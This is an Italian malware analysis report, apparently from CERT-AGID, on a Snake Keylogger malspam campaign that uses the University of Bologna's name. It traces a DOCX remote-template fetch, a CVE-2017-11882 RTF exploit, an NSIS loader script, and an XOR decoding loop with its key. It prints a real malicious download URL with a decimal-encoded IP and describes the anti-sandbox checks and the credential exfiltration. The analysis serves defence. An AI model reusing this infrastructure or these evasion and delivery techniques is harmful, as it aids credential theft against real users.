Snake Keylogger riscontrato in una campagna di malspam nazionale: un caso studio su strumenti di analisi malware
equation editor snake keylogger università
Il CERT-AGID ha recentemente avuto evidenza di una campagna basata su Snake Keylogger che sfrutta il nome dell’Università di Bologna. L’infenzione inizia infatti da un file DOCX di nome “Elenco richieste dall’Università di Bologna (BO XXXX)“.
Si tratta probabilmente di un caso mirato di malspam di cui al momento non abbiamo maggiori informazioni. Il documento Word non contiene loghi della citata Università, nè testo significativo. Al suo interno è presente una sola parola senza senso compiuto:
Dato che i documenti DOCX non possono contenere macro, come vettore d’infezione iniziale è stata usata una external relationship verso un documento DOC. Ci sono vari modi per rilevare le relationship in un documento Word.
Gli strumenti oleid e oleobj del pacchetto oletools sono di immediato utilizzo e mostrano l’URL al documento relazionato:
Un altro metodo è quello di ricorrere al comando “grep” per recuperare tutte le occorrenze della stringa “http“. Trattandosi di un documento DOCX siamo in realtà davanti ad uno ZIP ed è quindi necessario usare li comando zipgrep:
$ zipgrep -io 'http[^"]+' Elenco\ richieste\ dall_Universit_\ di\ Bologna\ \(BO_150223\).docx
...
word/_rels/webSettings.xml.rels:http://schemas.openxmlformats.org/package/2006/relationships
word/_rels/webSettings.xml.rels:http://schemas.openxmlformats.org/officeDocument/2006/relationships/frame
word/_rels/webSettings.xml.rels:http:/QQQQWWWWQWWWWQWWQWQWQWQQWQWQQWQWQWQWQWQWQWQQQQQQQQOQQQQQOOOOOOOOQOQQQQOQOQOQOQOQOQQWWWWQWQWQWQWQWQWQWQWQQWQ@1755848856/OO.DOC
...Un terzo metodo è quello dell’ispezione manuale dei file contenenti le relazioni esterne:
La URL utilizzata nella relazione è nel formato http://<username>@<numero>/path
Per quanto possa sembrare strano leggere un numero al posto di un IP, va chiarito che si tratta solo di una rappresentazione decimale di quella comunemente utilizzata con il valore di quattro ottetti separati da un punto. L’uso della rappresentazione decimale ed esadecimale è già stata utilizzata in passato in altre campagne malevole.
Gli IP seguono l’endianness (ordine dei byte) di rete, quindi big ending. Il numero 1755848856 è 0x68A82098 in esadecimale, base scelta per la comodità nel separare gli ottetti:
0x68A82098 -> ottetti -> 68 a8 20 98 -> endianness di rete e base decimale -> 104.168.32.152Il file OO.DOC scaricato è in formato RTF con estensione DOC che sfrutta il vecchio exploit Equation Editor (CVE-2017-11882) per scaricare ed eseguire un PE.
Gli RTF hanno vari encoding per le loro sezioni: uno strumento come rtfobj permette di fare il dump binario degli oggetti presenti in un RTF. Per analizzare lo shellcode è possibile usare scdbg ma è necessario indicargli l’offset di entry-point. Per tale scopo torna utile un terzo tool: xorsearch. Questo può infatti trovare le più note sequenze di istruzioni x86 per ottenere il valore del registro EIP. Di solito queste sequenze sono usate all’inizio di shellcode eseguiti direttamente dallo stack, come è questo il caso.
Quindi la sequenza di operazioni eseguite per l’analisi è la seguente:
- rftobj per dumpare gli oggetti OLE in un RTF;
- xorsearch per ottnere i possibili entry-point;
- scdbg per simulare lo shellcode.
Il file vbc.exe viene scaricato dallo stesso server che contiene il file OO.DOC. Questo server sembra essere una macchina dell’hosting provider ColoCrossing in cui è presente Windows e XAMPP.
L’eseguibile scaricato è un PE e, in particolare, un installer NSIS come si evince anche tramite il comando file:
$ file vbc.exe
vbc.exe: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive, 5 sections
Questi installer possono essere estratti automaticamente dal software 7z che fino alla versione 9.38 era anche in grado di estrarre lo script di installazione, motivo per cui risulta utile disporre di una versione vecchia di 7zip con cui scompattare gli installer:
Gli script degli installer usati dai malware contengono anche varie istruzioni casuali: in questo caso è piuttosto semplice trovare l’unica parte dello script che esegue qualcosa di significativo. In particolare, il file eseguibile presente è lanciato da linea di comando con il percorso del file .soc da argomento:
Function .onGUIInit
InitPluginsDir
; Call Initialize_____Plugins
; SetDetailsPrint lastused
SetOutPath $INSTDIR
SetOverwrite off
File vapnwe.qxv
File xhjlxyr.soc
File vfghilqgfy.exe
ExecWait "$\"$INSTDIR\vfghilqgfy.exe$\" $INSTDIR\xhjlxyr.soc"
Pop $R1
Quit
CreateDirectory $INSTDIR\Yoron
CreateDirectory $INSTDIR\Shaanxi\Carpathos
DetailPrint wxanomaskmo
Return
Push "$INSTDIR\Sidaamo Written\mark"
ReadEnvStr $7 WINDIR
StrCpy $R9 exgcdbbcstjbhz
DetailPrint azvfcpfnevnl
DeleteRegKey HKLM SOFTWARE\Iloco
MessageBox MB_ABORTRETRYIGNORE sqgfakbhpydcw
InitPluginsDir
; Call Initialize_____Plugins
; SetDetailsPrint lastused
FunctionEnd
Il file eseguibile è scritto in C e usando IDA è possibile vedere che questo si occupa di leggere il file .soc che gli viene passato e di decodificarlo:
Il ciclo di decodifica è riportato nel seguente codice:
Siamo in presenza di una divisione tramite rappresentazione in virgola fissa (Q32) del divisore nelle prime tre istruzioni, l’operazione di moltiplicazione per 12 del risultato nelle successive tre istruzioni e la sottrazione per ottenere il modulo. Il resto è un rolling xor:
;esi = i
;edi = len
loc_402905:
mov eax, 0AAAAAAABh ;Q32 = 0xAAAAAAAB / 2^32 = 0.66666...667
mul esi ;edx:eax = Q32.32 = i * 0.66666...667
shr edx, 3 ;edx = i * 0.66666 * 1/8 = i * 0.0833333 = i / 12
mov eax, esi ;eax = i
lea ecx, [edx+edx*2] ;ecx = floor(i / 12) * 3
shl ecx, 2 ;ecx = floor(i / 12) * 12
sub eax, ecx ;eax = i - floor(i / 12) * 12 = i % 12
inc esi ;i++
mov al, ds:byte_41ed78[eax]
xor [ebx+esi-1], al ;*p ^= key[i % 12]
cmp esi, edi
jb short loc_402905La chiave recuperata è la stringa 248058040134 e cyberchef può essere usato per decodificare il file .soc.
Il file .soc è troppo piccolo per contenere un PE e infatti è uno shellcode. Conviene quindi usare x64dbg per il debug di questo codice richiamando direttamente l’eseguibile sopra citato. Questo shellcode contiene due solo tecniche anti-VM/sandbox:
- Il numero di processori deve essere maggiore di uno.
- Viene allocata un grossa quantità di memoria, ogni pagina viene scritta e successivamente il buffer viene deallocato.
Terminati i controlli antidebug viene letto e decodificato il file .qxv
Il risultato della decodifica è un PE ma non è ancora il codice di Snake Keylogger. Tramite CFF Explorer è possibile vedere che nelle risorse è presente un altro eseguibile che può essere estratto senza alcuna analisi:
Quest’ultimo PE è un file assembly .NET ed è finalmente Snake keylogger. Questo assembly può essere deoffuscato con de4dot ed analizzato con dnSpy.
Le informazioni raccolte sulla macchina compromessa, comprese le credenziali estratte dai principali client e quelli catturate tramite le funzioni di keylogger, vengono inoltrate al C2 dopo aver verificato che non sia in esecuzione uno dei 194 processi di sicurezza. Questo sample utilizza il protocollo SMTP per consegnare i dati esfiltrati al C2. La configurazione di questo malware prevede comunque la possibilità di utilizzare anche il protocollo FTP o in alternativa di contattare direttamente il bot Telegram.
Indicatori di Compromissione
Gli IoC per contrastare questa campagna sono stati già condivisi con le organizzazioni accreditate al flusso IoC del CERT-AGID.
Link: Download IoC (IoC aggiornati al 17/02/2022)